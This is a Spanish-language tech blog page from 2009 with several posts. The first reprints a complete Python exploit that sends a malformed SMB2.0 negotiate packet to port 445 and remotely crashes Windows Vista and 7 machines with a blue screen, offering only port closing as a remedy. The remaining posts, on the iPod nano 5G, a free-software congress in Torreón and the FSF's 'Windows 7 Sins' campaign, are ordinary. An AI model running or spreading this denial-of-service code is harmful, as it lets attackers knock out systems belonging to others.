Windows Vista / 7 SMB2.0 negotiate protocol request remote B.S.O.D.

Por: antoniomtz - 11/09/09 a las 03:09:22 pm | En GNU/Linux, Microsoft, Noticias, Seguridad

Vulnerabilidad encontrada en el procotolo SMB en windows vista y windows 7, con éste exploit el atacante puede congelar(crash) remotamente cualquiera de éstos 2 sistemas operativos.

Solución?

Por el momento no la hay, simplemente cerrar puertos del SMB.

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> =) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Nuevo iPod nano 5G con videocámara

Por: antoniomtz - 11/09/09 a las 01:09:49 pm | En Apple, Noticias

Entre las características del iPod nano 5G, podemos encontrar una pantalla de 2.2 pulgadas con resolución 376×240 píxeles, autonomía de 24 horas en reproducción de audio y 5 horas para la reproducción de video.

Características

Las funciones internas más destacadas en el iPod nano 5G, responden por ejemplo a Genius y Mezclas Genius, dos funciones que permiten usar el iPod nano 5G como si de una radio musical se tratase, ya que generan listas de reproducción automáticas en función del género o artista de las canciones que tengamos almacenadas en la memoria.

Otra de las funciones que incluye el iPod nano 5G, es Voice Over, un sistema que vimos en el iPod Shuffle y que permite escuchar el nombre del artista y titulo de la canción que está sonando sin necesidad de pulsar ninguna tecla del reproductor.

Otro de los servicios que ofrece el iPod nano 5G, es la integración de un podómetro para ser usado con la función Nike+, y que permite registrar los pasos que damos durante el día, la distancia recorrida, etc.

Video Tomado en la Apple Store de Tokyo:

Tercer congreso nacional de Software Libre – GULAG

Por: antoniomtz - 01/09/09 a las 03:09:15 pm | En GNU/Linux, Gulag, Noticias

Con motivo del tercer aniversario del GULAG y con el fin de traer a nuestra región distinguidos ponentes del Software Libre les invitamos al Tercer Congreso Nacional de Software Libre. Un día donde los grandes gurús nos compartirán sus experiencias, donde se impartirán talleres para poner en práctica programas libres y donde ejercermos nuestra libertad de compartir conocimientos y software.

Se impartirán una serie de conferencias y talleres relacionados con el mundo del Software Libre.

Conferencias

10 a.m. KDE y México Guillermo Antonio Amaral Bastidas

11 a.m. Seguridad en Entornos Web Rafael Bucio Velázquez

12 p.m. Nubes a través de mi ventana (Cloud Computing) Luis Germán Ramírez

Talleres simultáneos.

2 p.m. Diseño gráfico con GIMP e Inkscape Guillermo Valdés

2 p.m. Usando librerías gráficas con Bash Rafael Bucio Velázquez

2 p.m. Hardening y Hacking en Linux Jorge Altamirano Astorga

Lugar del evento.

El evento será en la Universidad Autónoma del Noreste Campus Torréon. En el auditorio de usos múltiples. El Eriazo del y Periférico s/n , en Torreón Coah.

Costo.

La asistencia al evento es totalmente libre y gratuita, pero sería recomendable registrarse previamente.

Más información Congreso Gulag

Windows 7 pecados

Por: antoniomtz - 27/08/09 a las 10:08:45 am | En GNU/Linux, Microsoft, Noticias

Se ha lanzado una nueva campaña por parte de la FSF (Free software Foundation), la cuál mediante 7 puntos, trata de explicar los problemas a los cuales estamos sujetos si utilizamos el nuevo sistema operativo de Microsoft, windows 7, la página de dicha campaña es : windows7sins.org.

Un colega linuxero (revapaus.org) ha traducido los puntos que vienen en la página oficial de la campaña, reutilizo su texto:

Los pecados de Windows 7 (es un juego de palabras por lo que se puede entender también como los 7 pecados de Windows): El caso en contra de Microsoft y el software propietario.

La nueva versión del Sistema operativo de Microsoft, Windows 7, tiene el mismo problema que tenían Vista, XP y todas las versiones anteriores – son software propietario. Los usuarios no tienen permitido compartir o modificar el software Windows, o examinar como funciona por dentro.

El hecho de que Windows 7 sea propietario significa que Microsoft tiene control legal sobre sus usuarios, a través de una combinación de copyrights, contratos y patentes. Microsoft utiliza este poder para abusar de los usuarios de computadoras. En windows7sins.org, the Free Software Foundation enumera siete ejemplos de abuso cometidos por Microsoft.

1. Envenena la educación: Hoy, la mayoría de los niños para quienes su educación involucra computadoras están siendo enseñados a utilizar el producto de una empresa: el producto de Microsoft.
2. Invade la privacidad: Microsoft utiliza software con nombres capciosos como Windows Genuine Advantage para inspeccionar los contenidos de los discos duros de los usuarios. El acuerdo de licencia que los usuarios deben firmar antes de poder usar Windows avisa que Microsoft reclama el derecho de hacer esto sin ninguna advertencia.
3. Practicas monopolicas: Casi todas las computadoras adquiridas tienen Windows pre-instalado – Pero no por elección. Microsoft establece directrices a los vendedores de hardware, quienes no ofrecerán PC’s sin Windows instalado en ellas. Incluso las computadoras disponibles con otros sistemas operativos pre-instalados como GNU/Linux suelen tener Windows en un principio.
4. Lock-in: Microsoft intenta forzar la actualización de sus usuarios, dejando sin soporte versiones anteriores de Windows y Office, e inflando los requerimientos de hardware. Para muchas personas, esto implica desechar computadoras que funcionan solamente por que no cubren los requisitos necesarios para las nuevas versiones de Windows.
5. Estándares abusivos: Microsoft ha intentado detener la libre estandarización de los formatos de documento, por que los estándares como el Open Document Format mermarán el control que ahora tienen sobre los usuarios de los formatos propietarios de Word. Lo han intentado con prácticas miserables, incluyendo el soborno a oficiales, en su intento por detener estos esfuerzos.
6. Impulsar la Gestión de Restricciones Digitales(DRM): Con el Windows Media Player, Microsoft trabaja coludido con las grandes empresas de multimedia para imponer restricciones a la copia y reproducción de media en su sistema operativo. Por ejemplo, por petición de la NBC Microsoft previene a los usuarios de Windows de grabar programas televisivos que tienen derecho a grabar.
7. Amenazar la seguridad de los usuarios: Windows tienen una larga historia de vulnerabilidades de seguridad, permitiendo la propagación de los virus y la toma de control de las computadoras de los usuarios por parte de terceros para el envío de spam. Como el software es secreto, todos los usuarios dependen de Microsoft para resolver estos problemas – pero en fondo Microsoft tiene sus propios intereses de seguridad, que no son los de sus usuarios.

Ustedes ¿qué opinan?, creen que con éstas campañas de la FSF las personas dejen de utilizar éstos sistemas operativos?, ¿Le ven futuro a Windows 7?, ¿Fracasará igual que Windows Vista?